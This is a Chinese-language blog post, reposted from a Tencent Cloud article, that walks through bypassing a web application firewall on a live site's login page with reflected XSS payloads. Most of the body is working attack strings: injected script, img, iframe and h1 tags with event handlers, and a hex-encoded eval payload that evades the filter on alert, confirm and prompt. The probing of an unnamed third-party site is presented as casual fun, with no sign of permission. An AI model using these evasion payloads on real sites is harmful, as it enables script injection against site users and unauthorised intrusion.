close
今天室友遇到一個好玩的網站,下面是一些嘗試繞過Waf進行XSS的記錄。首先該網站沒有對左右尖號和單雙引號做任何過濾或轉義。且有未知的waf或者其他阻止惡意訪問的手段。

首先我的訪問為 login.asp?f=1 時候,頁面關鍵源碼為

可能是表示登錄次數的一個東西?(猜測) 現在我們知道的信息是參數f會填充到 loginflag這個隱藏框內。

嘗試

首先做一些基礎的XSS嘗試:

script標籤login.asp?f=1"><script>

直接觸發waf

img標籤login.asp?f=123" <img onload="alert(x)" src="

/login.asp?f=123" <img src="

可以正常的釋放引號與尖號,也可以完整釋放出 img標籤。但是只要和on事件搭上邊,就觸發了這個waf。https://www.w3schools.com/jsref/dom_obj_event.asp 這裡的一些基礎事件都做了嘗試。無解。

iframe標籤login.asp?f=123"> <iframe SRC="https://www.baidu.com

可解,但是總覺得沒有彈窗是有點不爽的意思。

繼續嘗試執行JS

嘗試使用H標籤,例如h1

可以正常放出onload事件,所以此處這個waf禁止的只是img的on事件。嘗試彈窗:

login.asp?f=1"><h1 onload="alert()">Hello</h1><img src="

我們又回到了waf上面,嘗試了alert、confirm、prompt都被攔截。但是可以console.log。

login.asp?f=1"><h1 onmouseover="console.log(/cxk/)">Hello</h1><img src="

這就有點再次陷入尷尬,還是沒有彈窗。不過我們已經可以執行js了,可以使用eval輕鬆的繞過。

login.asp?f="><h1 onmouseover=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")>Hello</h1><img src="

總結

首先肯定是不存在大小寫繞過的,不然也不會這麼費勁。我們不難看出,該WAF主要針對兩點做了一些手段。

script標籤

img標籤的 onXX事件

onXX事件裡面不能有彈窗函數 alert、confirm、prompt

治標不治本,當然針對XSS最傻瓜的處理辦法還是不要放過尖號好引號。

內容來源:https://cloud.tencent.com/developer/article/1688902


arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()